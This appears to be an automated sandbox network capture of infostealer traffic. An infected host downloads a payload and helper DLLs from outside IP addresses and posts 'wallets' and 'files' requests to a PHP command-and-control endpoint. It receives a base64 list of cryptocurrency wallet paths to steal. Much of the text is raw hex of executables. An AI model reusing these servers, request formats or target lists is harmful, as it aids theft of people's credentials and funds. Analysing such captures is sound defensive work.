                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:41.399885893 CET91OUTGET /68b591d6548ec281/nss3.dll HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:41.832602024 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:41 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
                                                                                                                                                                                                                                                            ETag: "1f3950-5e7e950876500"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Content-Length: 2046288
                                                                                                                                                                                                                                                            Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:45.156584024 CET95OUTGET /68b591d6548ec281/softokn3.dll HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:45.591217995 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:45 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
                                                                                                                                                                                                                                                            ETag: "3ef50-5e7e950876500"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Content-Length: 257872
                                                                                                                                                                                                                                                            Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data|@.00cfg@@.rsrc@@.reloc56@B
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:47.039277077 CET99OUTGET /68b591d6548ec281/vcruntime140.dll HTTP/1.1
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:47.471736908 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:47 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
                                                                                                                                                                                                                                                            ETag: "13bf0-5e7e950876500"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Content-Length: 80880
                                                                                                                                                                                                                                                            Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:48.490343094 CET203OUTPOST /c4becf79229cb002.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIE
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Content-Length: 1067
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:49.587219000 CET202INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:48 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Content-Length: 0
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=93
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:49.679214001 CET469OUTPOST /c4becf79229cb002.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=----FIJECAEHJJJKJKFIDGCB
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Content-Length: 267
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 2d 2d 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: ------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------FIJECAEHJJJKJKFIDGCBContent-Disposition: form-data; name="message"wallets------FIJECAEHJJJKJKFIDGCB--
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:50.114655972 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:49 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Vary: Accept-Encoding
                                                                                                                                                                                                                                                            Content-Length: 2408
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=92
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:50.117465019 CET467OUTPOST /c4becf79229cb002.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJ
                                                                                                                                                                                                                                                            Host: 185.215.113.206
                                                                                                                                                                                                                                                            Content-Length: 265
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 39 65 34 65 39 31 30 61 37 33 35 64 65 30 37 30 37 33 32 35 64 37 64 38 38 37 37 39 38 30 37 65 39 61 38 38 37 38 63 66 35 30 37 38 61 33 32 38 34 33 33 36 31 65 65 62 33 33 63 36 34 36 64 39 33 34 61 63 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 2d 2d 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: ------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="token"df09e4e910a735de0707325d7d88779807e9a8878cf5078a32843361eeb33c646d934ac6------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="message"files------AAKEGIJEHJDGDHJKJKKJ--
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:50.552022934 CET202INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:50 GMT
                                                                                                                                                                                                                                                            Server: Apache/2.4.41 (Ubuntu)
                                                                                                                                                                                                                                                            Content-Length: 0
                                                                                                                                                                                                                                                            Keep-Alive: timeout=5, max=91
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            31192.168.2.550105185.215.113.43806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:40.309422970 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            Host: 185.215.113.43
                                                                                                                                                                                                                                                            Content-Length: 31
                                                                                                                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                                                                                                                            Data Raw: 64 31 3d 31 30 31 37 32 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                            Data Ascii: d1=1017200001&unit=246122658369
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:41.636842966 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:41 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            32192.168.2.55010831.41.244.11806756C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:41.762120962 CET61OUTGET /files/martin/random.exe HTTP/1.1
                                                                                                                                                                                                                                                            Host: 31.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.085333109 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:42 GMT
                                                                                                                                                                                                                                                            Content-Type: application/octet-stream
                                                                                                                                                                                                                                                            Content-Length: 4462080
                                                                                                                                                                                                                                                            Last-Modified: Thu, 19 Dec 2024 00:02:05 GMT
                                                                                                                                                                                                                                                            Connection: keep-alive
                                                                                                                                                                                                                                                            ETag: "6763627d-441600"
                                                                                                                                                                                                                                                            Accept-Ranges: bytes
                                                                                                                                                                                                                                                            Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9f 99 62 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 44 49 00 00 24 6c 00 00 32 00 00 00 20 be 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 be 00 00 04 00 00 4c 5a 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 69 00 73 00 00 00 00 80 69 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc fe bd 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac fe bd 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                            Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELbg(DI$l2 `I@PLZD@ _isi piH(@.rsrciX(@.idata iZ(@ 8i\(@nlrrxusxp^(@kobwowvrC@.taggant0 "C@
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.085407972 CET224INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.085422039 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.085802078 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.085817099 CET448INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                            Data Ascii:
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.086025953 CET1236INData Raw: 1d 91 5d c9 d5 41 9c ec a8 8d 1b f1 a9 41 75 8c dc 10 10 e1 a5 3e ff 30 5d a4 e4 73 f0 6b 56 1d 5d ed f2 f8 ad 74 51 72 3d 3d c8 22 ec d6 e8 7c 45 31 7d 24 ad 6a 59 ac de 6b 1b f0 c1 35 da 27 06 8f c0 c4 e7 57 6f 03 2a 99 b0 bf 64 ac ec 20 9c 3c
                                                                                                                                                                                                                                                            Data Ascii: ]AAu>0]skV]tQr=="|E1}$jYk5'Wo*d <x(^lh4?$n47mO7:Oc>]2rFavfnFqa oQ|l]8nXyS53g`UGt}DL\;>MUd;:4y
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.086040974 CET1236INData Raw: 06 0e 97 cc 80 b8 d4 ca 5c 1b 83 4a d1 03 c9 64 c4 9b a5 30 0c c9 09 79 3e be 0d ce 34 86 e0 88 8b 13 1b 15 f7 c6 73 f5 3c 23 e7 b4 b7 42 f2 1d dd c3 19 06 8e 4c 34 77 91 d0 10 34 a4 93 54 ca 53 5f 18 e8 11 65 ba da ca 8f 06 f6 06 9f d8 f9 08 ec
                                                                                                                                                                                                                                                            Data Ascii: \Jd0y>4s<#BL4w4TS_e15%f 5##QG`r;HMc`jU>e9XU-nn^8Nhc3#RgpRd1pGMe?sukDiSW8/`S
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.086472988 CET1236INData Raw: 20 66 ec e4 ef 28 e9 cc 7d 84 ec 4c 63 8b dd e9 3b 99 e9 10 02 82 19 70 0f 87 61 98 fc 5a fb 05 e1 c4 8a 9f 94 18 42 a6 f6 9c 6e 22 b5 aa fb 4b e5 9d 9c 65 68 d6 5c ba 82 47 d2 40 c1 3b 56 52 b3 d2 fd 80 f8 44 88 32 4a 3b 0e 01 86 9a f7 d4 44 e2
                                                                                                                                                                                                                                                            Data Ascii: f(}Lc;paZBn"Keh\G@;VRD2J;D\9\<wq{zX5Z]3[<?$ Qj</OtkG4E@7s.`Tp1(~SO7H9.[VB}hvM.RfUe]$+
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.086488008 CET1236INData Raw: 29 eb 5b dc 12 12 b2 a1 cb 49 d2 44 ec 29 c4 e9 c1 36 47 b0 bd 01 d4 d8 22 f3 85 b0 cc 89 a9 b8 fd 45 1d ec ff 3f d3 57 1f c0 59 f0 78 48 2c b4 58 5b 6f ad 56 91 5d 31 ba ed 26 b8 3a 75 44 92 1b cf da ab eb 30 de 7f 65 18 52 f8 9b 42 92 b2 e5 eb
                                                                                                                                                                                                                                                            Data Ascii: )[ID)6G"E?WYxH,X[oV]1&:uD0eRB5Y$N1{S6AH8\*t'a0hbH7Cn\fU`I50_%uP2OU50a=p<Qe8?59Y^FU8z
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.086504936 CET1236INData Raw: 39 5c df c1 0e bf 9a 5b 21 7a fd 42 64 6c 90 6d 94 1e 82 f7 fa b7 95 ac e3 e7 b5 c7 bd 26 fc 17 60 89 59 87 11 6b e2 0e 2a 1a 16 f4 93 ae 14 ff ad cc 35 8a 1c 86 cc f4 54 a4 ce 34 92 b3 56 e3 35 3d 23 f2 9d d6 25 ad 06 7e 57 69 9b 4b e1 38 fc 4f
                                                                                                                                                                                                                                                            Data Ascii: 9\[!zBdlm&`Yk*5T4V5=#%~WiK8O]^d(8m)]`gh9RCJc*p_<=NWsQe<=*t+,AJ{VsIs?xMMp[])SF_lUO*;a
                                                                                                                                                                                                                                                            Dec 19, 2024 01:10:43.205092907 CET1236INData Raw: ed 47 ed 17 30 bd f9 5a 80 be a4 cb bc 97 fb 70 a5 3f 72 db 91 40 fa 48 e9 bf ea f2 c3 d8 ab f8 a5 ba 14 2d 19 ce 0c e5 b8 44 f2 7b c8 99 e7 55 16 52 fd c0 4b c7 e0 b0 f4 59 b4 60 63 76 fc cb ca 93 c6 ba c1 50 c9 e3 bf 97 6e 12 cc 03 d1 30 20 8f
